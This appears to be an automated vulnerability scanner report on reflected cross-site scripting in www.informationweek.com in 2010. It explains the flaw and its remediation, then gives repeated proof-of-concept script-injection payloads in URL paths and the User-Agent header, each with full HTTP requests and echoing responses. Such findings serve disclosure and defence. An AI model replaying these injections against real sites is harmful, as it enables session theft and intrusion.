Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3aa71"><script>alert(1)</script>113daf1900 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news3aa71"><script>alert(1)</script>113daf1900/security/government/showArticle.jhtml HTTP/1.1 Host: www.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 12 Nov 2010 00:04:40 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Fri, 12 Nov 2010 00:04:40 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=MYMZ24RL3TY31QE1GHRSKHWATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 32679
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... <a href="http://adserver.adtechus.com/adlink/3.0/5242.1/1199874/0/16/ADTECH;alias=InformationWeek_Security_HP_Welcome_Ad_1x1;key=/news3aa71"><script>alert(1)</script>113daf1900/security/go;kvarticleid=;kvauthor=;loc=300;grp=294238210" target="_blank"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a16d5'-alert(1)-'a6d482c8a13 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /newsa16d5'-alert(1)-'a6d482c8a13/security/government/showArticle.jhtml HTTP/1.1 Host: www.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 12 Nov 2010 00:04:42 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Fri, 12 Nov 2010 00:04:42 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=TZYPWAVRDTMMZQE1GHPCKHWATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 32631
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... <scr'+'ipt language="javascript1.1" charset="utf-8" src="http://adserver.adtechus.com/addyn/3.0/5242.1/1199874/0/16/ADTECH;alias=InformationWeek_Security_HP_Welcome_Ad_1x1;key=/newsa16d5'-alert(1)-'a6d482c8a13/security/government/showA;kvarticleid=;kvauthor=;loc=100;target=_blank;grp=775751458;misc='+new Date().getTime()+'"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91918"><script>alert(1)</script>b4731d95f21 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news/security91918"><script>alert(1)</script>b4731d95f21/government/showArticle.jhtml HTTP/1.1 Host: www.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 12 Nov 2010 00:04:44 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Fri, 12 Nov 2010 00:04:44 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=RY3KAN4MM4T1BQE1GHOSKH4ATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 32709
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... <a href="http://adserver.adtechus.com/adlink/3.0/5242.1/1199874/0/16/ADTECH;alias=InformationWeek_Government_HP_Welcome_Ad_1x1;key=/news/security91918"><script>alert(1)</script>b4731d95f21/g;kvarticleid=;kvauthor=;loc=300;grp=623469040" target="_blank"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3d687'-alert(1)-'0cb6d1b6d4b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/security3d687'-alert(1)-'0cb6d1b6d4b/government/showArticle.jhtml HTTP/1.1 Host: www.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 12 Nov 2010 00:04:48 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Fri, 12 Nov 2010 00:04:48 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=SX4GJIF3HRLR1QE1GHPCKHWATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 32659
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... <scr'+'ipt language="javascript1.1" charset="utf-8" src="http://adserver.adtechus.com/addyn/3.0/5242.1/1199874/0/16/ADTECH;alias=InformationWeek_Government_HP_Welcome_Ad_1x1;key=/news/security3d687'-alert(1)-'0cb6d1b6d4b/government/showA;kvarticleid=;kvauthor=;loc=100;target=_blank;grp=350519641;misc='+new Date().getTime()+'"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2daa8"><a%20b%3dc>4686c2cdbcf was submitted in the REST URL parameter 3. This input was echoed as 2daa8"><a b=c>4686c2cdbcf in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags and attributes into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /news/security/government2daa8"><a%20b%3dc>4686c2cdbcf/showArticle.jhtml HTTP/1.1 Host: www.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 12 Nov 2010 00:04:57 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Fri, 12 Nov 2010 00:04:57 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=D2B34N55OWMOZQE1GHRSKH4ATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 32621
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... <a href="http://adserver.adtechus.com/adlink/3.0/5242.1/1199874/0/16/ADTECH;alias=InformationWeek_Security_HP_Welcome_Ad_1x1;key=/news/security/government2daa8"><a b=c>4686c2cdbcf/showArti;kvarticleid=;kvauthor=;loc=300;grp=869938318" target="_blank"> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 49e25'-alert(1)-'0e2964de10e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/security/government49e25'-alert(1)-'0e2964de10e/showArticle.jhtml HTTP/1.1 Host: www.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 12 Nov 2010 00:05:04 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Fri, 12 Nov 2010 00:05:04 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=32OKMPZ030H5DQE1GHRSKHWATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 32607
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... <scr'+'ipt language="javascript1.1" charset="utf-8" src="http://adserver.adtechus.com/addyn/3.0/5242.1/1199874/0/16/ADTECH;alias=InformationWeek_Security_HP_Welcome_Ad_1x1;key=/news/security/government49e25'-alert(1)-'0e2964de10e/showA;kvarticleid=;kvauthor=;loc=100;target=_blank;grp=509783402;misc='+new Date().getTime()+'"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d376f"><script>alert(1)</script>2e3cc602796 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /newsd376f"><script>alert(1)</script>2e3cc602796/software/showArticle.jhtml HTTP/1.1 Host: www.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 12 Nov 2010 00:04:38 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Fri, 12 Nov 2010 00:04:38 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=JZTCHR0PBYVJVQE1GHRSKHWATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 32659
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... <a href="http://adserver.adtechus.com/adlink/3.0/5242.1/1199874/0/16/ADTECH;alias=InformationWeek_Software_HP_Welcome_Ad_1x1;key=/newsd376f"><script>alert(1)</script>2e3cc602796/software/s;kvarticleid=;kvauthor=;loc=300;grp=927504954" target="_blank"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1e0af'-alert(1)-'b279bf095a1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news1e0af'-alert(1)-'b279bf095a1/software/showArticle.jhtml HTTP/1.1 Host: www.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 12 Nov 2010 00:04:40 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Fri, 12 Nov 2010 00:04:40 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=FIR0S2ZZBRNX5QE1GHOSKH4ATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 32549
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... <scr'+'ipt language="javascript1.1" charset="utf-8" src="http://adserver.adtechus.com/addyn/3.0/5242.1/1199874/0/16/ADTECH;alias=InformationWeek_Software_HP_Welcome_Ad_1x1;key=/news1e0af'-alert(1)-'b279bf095a1/software/showArticle;kvarticleid=;kvauthor=;loc=100;target=_blank;grp=423898589;misc='+new Date().getTime()+'"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8133e"><script>alert(1)</script>52a0983190 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /news/software8133e"><script>alert(1)</script>52a0983190/showArticle.jhtml HTTP/1.1 Host: www.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 12 Nov 2010 00:04:41 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Fri, 12 Nov 2010 00:04:41 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=CNR04CPTS2Z4ZQE1GHPSKH4ATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 32178
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... <a href="http://adserver.adtechus.com/adlink/3.0/5242.1/1199874/0/16/ADTECH;alias=;key=/news/software8133e"><script>alert(1)</script>52a0983190/sh;kvarticleid=;kvauthor=;loc=300;grp=829808679" target="_blank"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d954f'-alert(1)-'c19820fee12 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/softwared954f'-alert(1)-'c19820fee12/showArticle.jhtml HTTP/1.1 Host: www.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 12 Nov 2010 00:04:43 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Fri, 12 Nov 2010 00:04:43 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=10DWPTQ1S5IYHQE1GHRSKH4ATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 32070
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... <scr'+'ipt language="javascript1.1" charset="utf-8" src="http://adserver.adtechus.com/addyn/3.0/5242.1/1199874/0/16/ADTECH;alias=;key=/news/softwared954f'-alert(1)-'c19820fee12/showArticle;kvarticleid=;kvauthor=;loc=100;target=_blank;grp=827193582;misc='+new Date().getTime()+'"> ...[SNIP]...
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e2f52"-alert(1)-"d4c6a94e27b was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/security/government/showArticle.jhtml HTTP/1.1 Host: www.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)e2f52"-alert(1)-"d4c6a94e27b Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 12 Nov 2010 00:04:39 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Fri, 12 Nov 2010 00:04:39 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=MMLHVVYVPGJC1QE1GHPCKHWATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 32315
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="C.I.D.R | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)e2f52"-alert(1)-"d4c6a94e27b"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop21="";
The value of the User-Agent HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5d519"-alert(1)-"6999f1df20f was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/software/showArticle.jhtml HTTP/1.1 Host: www.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)5d519"-alert(1)-"6999f1df20f Connection: close
Response
HTTP/1.1 404 Not Found Date: Fri, 12 Nov 2010 00:04:37 GMT Server: Apache Cache-Control: no-cache, max-age=0 Expires: Fri, 12 Nov 2010 00:04:37 GMT Last-Modified: Tue, Jan 27 2099 23:59:59 GMT Pragma: no-cache X-ATG-Version: ATGPlatform/7.2 [ DASLicense/0 DPSLicense/0 ] Set-Cookie: JSESSIONID=2QJ5BVEILNYSHQE1GHPCKH4ATMY32JVN; path=/ Pragma: no-cache Cache-Control: no-cache Expires: Tue, 04 Dec 1993 21:29:02 GMT Connection: close Content-Type: text/html Vary: Accept-Encoding, User-Agent Content-Length: 32161
<!-- IsEmpty true --> <!-- Check to see if this is an old story link (story/IWK20020101S001 for example) --> <SCRIPT LANGUAGE="javascript">var found="false"; // global variable to determine if a mat ...[SNIP]... ; s.channel=""; s.pageType=""; s.prop1=""; s.prop2=""; s.prop3=""; s.prop4=""; s.prop5=""; s.prop6=""; s.prop7=""; s.prop8="C.I.D.R | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)5d519"-alert(1)-"6999f1df20f"; s.prop9=""; s.prop10=""; s.prop11=""; s.prop12=""; s.prop14=""; s.prop15=""; s.prop16=""; s.prop19="False"; s.prop21="";